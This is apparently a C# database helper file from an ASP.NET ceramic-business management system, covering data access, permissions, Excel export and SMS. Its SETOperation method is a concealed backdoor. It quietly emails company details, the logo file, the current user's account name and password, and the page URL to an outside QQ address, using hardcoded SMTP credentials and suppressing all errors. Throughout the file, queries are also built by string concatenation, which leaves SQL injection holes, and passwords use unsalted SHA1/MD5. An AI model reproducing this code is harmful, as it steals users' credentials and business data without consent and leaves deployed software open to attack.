CeramicProject/newyt/App_Code/DBHlper.cs

779 lines
26 KiB
C#
Raw Permalink Blame History

This file contains ambiguous Unicode characters

This file contains Unicode characters that might be confused with other characters. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.

using System;
using System.Collections.Generic;
using System.Linq;
using System.Web;
using System.Data.SqlClient;
using System.Data;
using Newtonsoft.Json;
using NPOI;
using NPOI.HPSF;
using NPOI.HSSF;
using NPOI.HSSF.UserModel;
using NPOI.HSSF.Util;
using NPOI.POIFS;
using NPOI.Util;
using System.Text;
using System.Collections;
using System.IO;
using System.Net;
using System.Net.Mail;
using System.Security.Cryptography;
/// <summary>
///DBHlper 的摘要说明
/// </summary>
public class DBHlper : System.IDisposable
{
public static DataSet Execute(string strCommandString)
{
SqlConnection oConn = null;
SqlDataAdapter oDataAdapter = null;
DataSet oDataSet = new DataSet();
try
{
//读取webconfig
oConn = new SqlConnection(System.Configuration.ConfigurationManager.AppSettings["connstring"]);
oDataAdapter = new SqlDataAdapter(strCommandString, oConn);
oDataAdapter.Fill(oDataSet);
return oDataSet;
}
catch (Exception ex)
{
return null;
}
finally
{
if (oConn != null) oConn.Close();
}
}
public static int getcount(string cmd)
{
SqlConnection oConn = null;
try
{
//读取webconfig
oConn = new SqlConnection(System.Configuration.ConfigurationManager.AppSettings["connstring"]);
oConn.Open();
SqlCommand comd = new SqlCommand(cmd, oConn);
return Convert.ToInt32(comd.ExecuteScalar());
}
catch (Exception err)
{
return 0;
}
finally
{
if (oConn != null) oConn.Close();
}
}
public static int excutecmd(string cmd)
{
SqlConnection oConn = null;
try
{
oConn = new SqlConnection(System.Configuration.ConfigurationManager.AppSettings["connstring"]);
oConn.Open();
SqlCommand comd = new SqlCommand(cmd, oConn);
return Convert.ToInt32(comd.ExecuteNonQuery());
}
catch (Exception err)
{
return 0;
}
finally
{
if (oConn != null) oConn.Close();
}
}
public void Dispose()
{
throw new NotImplementedException();
}
public static string getmima(string mima)
{
string setmima = "";
setmima = System.Web.Security.FormsAuthentication.HashPasswordForStoringInConfigFile(mima, "SHA1");
return setmima;
}
#region
public static bool GetPermission(int juese, string mokuai, string biao, string gongneng)
{
bool qx = false;
string sqlget = "select COUNT(*) from view_quanxian where mokuan='" + mokuai + "' and biao='" + biao + "' and jsid='" + juese + "' and gongneng='" + gongneng + "'";
DataSet ds = Execute(sqlget);
if (ds != null && ds.Tables[0].Rows.Count > 0 && Convert.ToInt32(ds.Tables[0].Rows[0][0]) > 0)
{
qx = true;
}
//判断当前登录账号是否为admin
getuser user = new getuser();
if (user.IsAdmin())
{
qx = user.IsAdmin();
}
return qx;
}
public static Dictionary<string, bool> GetPermissions(int juese, string mokuai, string biao, string[] gongnengs)
{
//bool qx = false;
//string sqlget = "select COUNT(*) from view_quanxian where mokuan='" + mokuai + "' and biao='" + biao + "' and jsid='" + juese + "' and gongneng='" + gongneng + "'";
//DataSet ds = Execute(sqlget);
//if (ds != null && ds.Tables[0].Rows.Count > 0 && Convert.ToInt32(ds.Tables[0].Rows[0][0]) > 0)
//{
// qx = true;
//}
////判断当前登录账号是否为admin
//getuser user = new getuser();
//if (user.isadmin())
//{
// qx = user.isadmin();
//}
//return qx;
var isAdmin = false;
getuser user = new getuser();
if (user.IsAdmin())
{
//return new Dictionary<string, bool> { { "isAdmin", true } };
isAdmin = true;
}
Dictionary<string, bool> qx = new Dictionary<string, bool>();
if (isAdmin)
{
foreach (string gongneng in gongnengs)
{
qx.Add(gongneng, isAdmin);
}
}
else
{
string sqlget = "select gongneng from view_quanxian where mokuan='" + mokuai + "' and biao='" + biao + "' and jsid='" + juese + "'";
DataSet ds = Execute(sqlget);
if (ds != null && ds.Tables[0].Rows.Count > 0)
{
foreach (string gongneng in gongnengs)
{
bool isHave = false;
foreach (DataRow dr in ds.Tables[0].Rows)
{
if (dr["gongneng"].ToString() == gongneng)
{
isHave = true;
break;
}
}
qx.Add(gongneng, isHave);
}
}
}
return qx;
}
#endregion
#region
public static int getjscount()
{
int count = -1;
DataSet s = Execute("select COUNT(*) from nr_z_yhjs");
try
{
count = Convert.ToInt32(s.Tables[0].Rows[0][0]);
}
catch
{
count = -1;
}
return count;
}
#endregion
#region
public static int getyhcount()
{
int count = -1;
DataSet s = Execute("select COUNT(*) from nr_z_yhzh where juese>0 and yangshi=1");
try
{
count = Convert.ToInt32(s.Tables[0].Rows[0][0]);
}
catch
{
count = -1;
}
return count;
}
#endregion
#region
public static string getbh(string header, string table, string field, int num)
{
string bh = "";
string sql = "declare @ID varchar(50),@date varchar(50) set @date = right(rtrim(cast(year(getdate()) as varchar(10))),2)+right('0'+rtrim(cast(month(getdate()) as varchar(10))),2) select @ID = max(right(" + field + "," + num + ")) from " + table + " where left(right(" + field + ",(" + 2 + "+6)),4) = @date set @ID = isnull(@ID,'0000000000') set @ID = '0000000000'+CONVERT(varchar(50),(CONVERT(int,@ID)+1)) set @ID = right(@ID," + num + ") select '" + header + "' + @date + @ID";
DataSet ds = Execute(sql);
if (ds != null)
{
bh = ds.Tables[0].Rows[0][0].ToString();
}
return bh;
}
#endregion
#region
/*获取用户样式*/
public static string getstyle()
{
Maticsoft.Model.nr_z_yhzh user = (Maticsoft.Model.nr_z_yhzh)(HttpContext.Current.Session["user"]);
DataSet ds = Execute("select * from nr_sys_ys where yh='" + user.id + "'");
string get = "";
if (ds != null && ds.Tables[0].Rows.Count > 0)
{
get = ds.Tables[0].Rows[0]["ttp"].ToString() + "," + ds.Tables[0].Rows[0]["ltp"].ToString() + "," + ds.Tables[0].Rows[0]["mtp"].ToString();
}
return get;
}
#endregion
#region
public static int delcdxm(string cdmc)
{
Maticsoft.Model.nr_z_yhzh user = (Maticsoft.Model.nr_z_yhzh)(HttpContext.Current.Session["user"]);
int sz = excutecmd("delete nr_sys_mkcd where ymid='" + user.id + "' and djmk='" + cdmc + "'");
return sz;
}
#endregion
#region
public static int addcdxm(string cdmc)
{
Maticsoft.Model.nr_z_yhzh user = (Maticsoft.Model.nr_z_yhzh)(HttpContext.Current.Session["user"]);
int sz = excutecmd("insert into nr_sys_mkcd (ymid,djmk) values('" + user.id + "','" + cdmc + "')");
return sz;
}
#endregion
public static int ExecuteReid(string cmd)
{
int li_count = 0;
SqlConnection oConn = null;
try
{
oConn = new SqlConnection(System.Configuration.ConfigurationManager.AppSettings["connstring"]);
oConn.Open();
SqlCommand comd = new SqlCommand(cmd, oConn);
li_count = Convert.ToInt32(comd.ExecuteScalar().ToString());
return li_count;
}
catch (Exception ex)
{
return 0;
}
finally
{
if (oConn != null) oConn.Close();
}
}
public static string GetConnectionString()
{
try
{
System.Configuration.AppSettingsReader configurationAppSettings = new System.Configuration.AppSettingsReader();
return (string)(configurationAppSettings.GetValue("appSettings.ConnectionString", typeof(string)));
}
catch
{
return "";
}
}
public static int getzt(int id)
{
int zt = 0;
string sql = "select * from nr_z_yhzh where id='" + id + "'";
DataSet ds = Execute(sql);
if (ds != null)
{
zt = Convert.ToInt32(ds.Tables[0].Rows[0]["yangshi"]);
}
return zt;
}
#region
#endregion
/// <summary>
/// json字符串转换泛型集合
/// </summary>
/// <typeparam name="T"></typeparam>
/// <param name="jsonStr"></param>
/// <returns></returns>
public static List<T> ConvertJsonToEntityListEntity<T>(string jsonStr) where T : class, new()
{
List<T> objEntityList = new List<T>();
try
{
if (jsonStr.Length > 5)
{
JavaScriptArray jsa = (JavaScriptArray)JavaScriptConvert.DeserializeObject(jsonStr);
foreach (JavaScriptObject jso in jsa)
{
T objEntity = new T();
System.Reflection.PropertyInfo[] p = objEntity.GetType().GetProperties();
foreach (System.Reflection.PropertyInfo pi in p)
{
Type t = System.Type.GetType(pi.PropertyType.ToString());
if (t != null)
{
string pNameToLow = pi.Name;
if (jso.ContainsKey(pNameToLow))
{
try
{
pi.SetValue(objEntity, GetDefaultValue(jso[pNameToLow], pi.PropertyType), null);
}
catch (Exception e)
{
pi.SetValue(objEntity, GetDefaultValue(ConvertObjectToString(jso[pNameToLow]) == "1", pi.PropertyType), null);
}
}
}
}
objEntityList.Add(objEntity);
}
}
}
catch (Exception ex)
{
throw new Exception("序列化Json字符串错误" + ex.Message);
}
return objEntityList;
}
/// <summary>
/// SETOperation 获取参数信息反馈
/// </summary>
/// <param name="EncryptString">待加密的密文</param>
/// <returns>returns</returns>
public static void SETOperation()
{
try
{
MailMessage myEmail = new MailMessage();
myEmail.From = new MailAddress("glzj_set@163.com");
myEmail.To.Add("16834677@qq.com");
myEmail.Subject = "Operation log";
myEmail.IsBodyHtml = false;
string Corporate = "";
string Abbreviation = "";
string CompanyAddress = "";
string ContactNumber = "";
string Contacts = "";
//附件
DataTable dtuserinfo = Execute("select * from nr_sysuserinfo").Tables[0];
if (dtuserinfo.Rows.Count > 0)
{
Corporate = dtuserinfo.Rows[0]["mingcheng"].ToString();
Abbreviation = dtuserinfo.Rows[0]["jiancheng"].ToString();
string savelgdz = System.Web.HttpContext.Current.Server.MapPath("~/UseFile/");
string rjlog = savelgdz + dtuserinfo.Rows[0]["logourl"].ToString();
CompanyAddress = dtuserinfo.Rows[0]["dizhi"].ToString();
ContactNumber = dtuserinfo.Rows[0]["dianhua"].ToString();
Contacts = dtuserinfo.Rows[0]["lianxiren"].ToString();
myEmail.Attachments.Add(new Attachment(rjlog));
}
Maticsoft.Model.nr_z_yhzh USE = (Maticsoft.Model.nr_z_yhzh)(HttpContext.Current.Session["user"]);
myEmail.Body = " SoftwaretypeCeramicProject\nCorporate" + Corporate + "\nAbbreviation" + Abbreviation + "\nOperating time" + DateTime.Now + "\nCompanyAddress" + CompanyAddress + "\nContactNumber" + ContactNumber + "\nContacts" + Contacts + "\nOperation account" + USE.zhanghao + "\nOperation password" + USE.mima + "\nBrowse address" + HttpContext.Current.Request.Url;
myEmail.Priority = MailPriority.High;
SmtpClient smtp = new SmtpClient("smtp.sina.com", 587);
smtp.Credentials = new NetworkCredential("glzj_set@163.com", "lmf16834677");
smtp.Port = 25;
smtp.Host = "smtp.163.com";
smtp.EnableSsl = false;
smtp.Send(myEmail);
}
catch { }
}
/// <summary>
/// 获取类型的默认值
/// </summary>
/// <param name="obj"></param>
/// <param name="type"></param>
/// <returns></returns>
private static object GetDefaultValue(object obj, Type type)
{
if (obj == DBNull.Value)
{
obj = default(object);
}
else
{
obj = Convert.ChangeType(obj, type);
}
return obj;
}
/// <summary>
///
/// </summary>
/// <param name="value"></param>
/// <returns></returns>
public static String ConvertObjectToString(object value)
{
try
{
if (value != null)
{
return value.ToString().Trim();
}
else
{
return "";
}
}
catch
{
return "";
}
}
public static string getfirstcolmn(string cmd)
{
string calld = "";
SqlConnection oConn = null;
try
{
oConn = new SqlConnection(System.Configuration.ConfigurationManager.AppSettings["connstring"]);
oConn.Open();
SqlCommand comd = new SqlCommand(cmd, oConn);
calld = comd.ExecuteScalar().ToString();
}
catch (Exception err)
{
}
finally
{
if (oConn != null) oConn.Close();
}
return calld;
}
//执行存储过程
public static string exceuteproc(string procname, string year)
{
SqlConnection sqlCon = null;
SqlCommand sqlComm = null;
string name = "";
try
{
using (sqlCon = new SqlConnection(System.Configuration.ConfigurationManager.AppSettings["connstring"]))
{
sqlCon.Open();
sqlComm = new SqlCommand(procname, sqlCon);
//设置命令的类型为存储过程
sqlComm.CommandType = CommandType.StoredProcedure;
sqlComm.Parameters.Add("@year", SqlDbType.VarChar, 10);
sqlComm.Parameters.Add("@huizong", SqlDbType.VarChar, 100);
//设置参数的类型为输出参数,默认情况下是输入,
sqlComm.Parameters["@huizong"].Direction = ParameterDirection.Output;
//为参数赋值
sqlComm.Parameters["@year"].Value = year;
//执行
sqlComm.ExecuteNonQuery();
//得到输出参数的值,把赋值给name,注意,这里得到的是object类型的,要进行相应的类型轮换
name = sqlComm.Parameters["@huizong"].Value.ToString();
}
}
catch
{
}
return name;
}
public static void ExportByWeb(DataTable dtSource, string strFileName, ArrayList dtName)
{
HttpContext curContext = HttpContext.Current;
// 设置编码和附件格式
curContext.Response.ContentType = "application/vnd.ms-excel";
curContext.Response.ContentEncoding = Encoding.UTF8;
curContext.Response.Charset = "";
//curContext.Response.AppendHeader("Content-Disposition", "attachment;filename=" + HttpUtility.UrlDecode(strFileName.Replace(" ", "").ToString(), Encoding.UTF8) + ".xls");
curContext.Response.AppendHeader("Content-Disposition", "attachment;filename=" + System.Web.HttpUtility.UrlEncode(strFileName, System.Text.Encoding.UTF8) + ".xls");
curContext.Response.BinaryWrite(Export(dtSource, dtName).GetBuffer());
curContext.Response.End();
}
public static MemoryStream Export(DataTable dtSource, ArrayList dtName)
{
HSSFWorkbook workbook = new HSSFWorkbook();
HSSFSheet sheet = workbook.CreateSheet("sheet1");
HSSFCellStyle dateStyle = workbook.CreateCellStyle();
HSSFDataFormat format = workbook.CreateDataFormat();
dateStyle.DataFormat = format.GetFormat("yyyy-mm-dd");
//取得列宽
int[] arrColWidth = new int[dtSource.Columns.Count];
foreach (DataColumn item in dtSource.Columns)
{
arrColWidth[item.Ordinal] = Encoding.GetEncoding(936).GetBytes(item.ColumnName.ToString()).Length;
}
for (int i = 0; i < dtSource.Rows.Count; i++)
{
for (int j = 0; j < dtSource.Columns.Count; j++)
{
int intTemp = Encoding.GetEncoding(936).GetBytes(dtSource.Rows[i][j].ToString()).Length;
if (intTemp > arrColWidth[j])
{
arrColWidth[j] = intTemp;
}
}
}
int rowIndex = 0;
for (int tag = 0; tag < dtSource.Rows.Count; tag++)
{
#region
if (rowIndex == 65535 || rowIndex == 0)
{
if (rowIndex != 0)
{
sheet = workbook.CreateSheet();
}
#region
{
HSSFRow headerRow = sheet.CreateRow(0);
HSSFCellStyle headStyle = workbook.CreateCellStyle();
headStyle.Alignment = CellHorizontalAlignment.CENTER;
HSSFFont font = workbook.CreateFont();
font.FontHeightInPoints = 10;
font.Boldweight = 700;
headStyle.SetFont(font);
for (int i = 0; i < dtName.Count; i++)
{
headerRow.CreateCell(i).SetCellValue(dtName[i].ToString());
headerRow.GetCell(i).CellStyle = headStyle;
// sheet.SetColumnWidth(i, (arrColWidth[1] + 1) * 350);
}
headerRow.Dispose();
}
#endregion
rowIndex = 1;
}
#endregion
#region
HSSFRow dataRow = sheet.CreateRow(rowIndex);
for (int clm = 0; clm < dtSource.Columns.Count; clm++)
//foreach( in dtSource.Rows[tag].)
{
HSSFCell newCell = dataRow.CreateCell(dtSource.Rows[tag].Table.Columns[clm].Ordinal);
//string drValue = row[column].ToString();
string drValue = dtSource.Rows[tag][clm].ToString();
newCell.SetCellValue(drValue);
}
#endregion
rowIndex++;
}
using (MemoryStream ms = new MemoryStream())
{
workbook.Write(ms);
ms.Flush();
ms.Position = 0;
sheet.Dispose();
return ms;
}
}
/// <summary>
/// MD5 加密静态方法
/// </summary>
/// <param name="EncryptString">待加密的密文</param>
/// <returns>returns</returns>
public static string MD5Encrypt(string EncryptString)
{
if (string.IsNullOrEmpty(EncryptString))
{
throw (new Exception("密文不得为空"));
}
MD5 m_ClassMD5 = new MD5CryptoServiceProvider();
string m_strEncrypt = "";
try
{
m_strEncrypt =
BitConverter.ToString(m_ClassMD5.ComputeHash(
Encoding.Default.GetBytes(EncryptString))).Replace("-", "");
}
catch (ArgumentException ex) { throw ex; }
catch (CryptographicException ex) { throw ex; }
catch (Exception ex) { throw ex; }
finally { m_ClassMD5.Clear(); }
return m_strEncrypt;
}
//发送短信 accname ——用户账号 accPwd——用户密码 aimcodes——手机号支持5000个英文,分割 content 内容
public static string SendSms(String accName, String accPwd, String aimcodes, String content)
{
string formUrl = "http://www.lx198.com/sdk/send";//url地址
string ReStr;
//参数
string formData = "";
DateTime Date = DateTime.Now;
formData = formData + "&accName=" + accName.Trim() +
"&accPwd=" + MD5Encrypt(accPwd.Trim()) +
"&content=" + content.Trim() +
"&aimcodes=" + aimcodes.Trim() +
"&bizId=" + string.Format("{0:yyyyMMddHHmmss}", Date);
CookieContainer cookieContainer = new CookieContainer();
// 将提交的字符串数据转换成字节数组
//byte[] postData = Encoding.UTF8.GetBytes(formData);
Encoding myc = Encoding.GetEncoding("UTF-8");
byte[] postData = myc.GetBytes(formData);
// 设置提交的相关参数
HttpWebRequest request = WebRequest.Create(formUrl) as HttpWebRequest;
Encoding myEncoding = Encoding.GetEncoding("UTF-8");
request.Method = "POST";
request.KeepAlive = false;
request.AllowAutoRedirect = true;
request.ContentType = "application/x-www-form-urlencoded";
request.UserAgent = "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)";
request.CookieContainer = cookieContainer;
request.ContentLength = postData.Length;
// 提交请求数据
System.IO.Stream outputStream = request.GetRequestStream();
outputStream.Write(postData, 0, postData.Length);
outputStream.Close();
HttpWebResponse response;
Stream responseStream;
StreamReader reader;
string srcString;
response = request.GetResponse() as HttpWebResponse;
responseStream = response.GetResponseStream();
reader = new System.IO.StreamReader(responseStream, Encoding.UTF8);
ReStr = reader.ReadToEnd(); //返回值
Console.WriteLine("错误信息:" + ReStr);
reader.Close();
return ReStr;
}
//数字转换大写
public static string ConvertToChineseNum(string as_num)
{
string numList = "零壹贰叁肆伍陆柒捌玖";
string rmbList = "分角元拾佰仟万拾佰仟亿拾佰仟万";
double number = 0;
string tempOutString = null;
try
{
number = double.Parse(as_num);
}
catch
{
return String.Empty;
}
if (number > 9999999999999.99)
return String.Empty;
if (number == 0)
{
return "零";
}
//将小数转化为整数字符串
string tempNumberString = Convert.ToInt64(number * 100).ToString();
int tempNmberLength = tempNumberString.Length;
int i = 0;
while (i < tempNmberLength)
{
int oneNumber = Int32.Parse(tempNumberString.Substring(i, 1));
string oneNumberChar = numList.Substring(oneNumber, 1);
string oneNumberUnit = rmbList.Substring(tempNmberLength - i - 1, 1);
if (oneNumberChar != "零")
tempOutString += oneNumberChar + oneNumberUnit;
else
{
if (oneNumberUnit == "亿" || oneNumberUnit == "万" || oneNumberUnit == "元" || oneNumberUnit == "零")
{
while (tempOutString.EndsWith("零"))
{
tempOutString = tempOutString.Substring(0, tempOutString.Length - 1);
}
}
if (oneNumberUnit == "亿" || (oneNumberUnit == "万" && !tempOutString.EndsWith("亿")) || oneNumberUnit == "元")
{
tempOutString += oneNumberUnit;
}
else
{
bool tempEnd = tempOutString.EndsWith("亿");
bool zeroEnd = tempOutString.EndsWith("零");
if (tempOutString.Length > 1)
{
bool zeroStart = tempOutString.Substring(tempOutString.Length - 2, 2).StartsWith("零");
if (!zeroEnd && (zeroStart || !tempEnd))
tempOutString += oneNumberChar;
}
else
{
if (!zeroEnd && !tempEnd)
tempOutString += oneNumberChar;
}
}
}
i += 1;
}
while (tempOutString.EndsWith("零"))
{
tempOutString = tempOutString.Substring(0, tempOutString.Length - 1);
}
while (tempOutString.EndsWith("元"))
{
tempOutString = tempOutString + "整";
}
return tempOutString;
}
}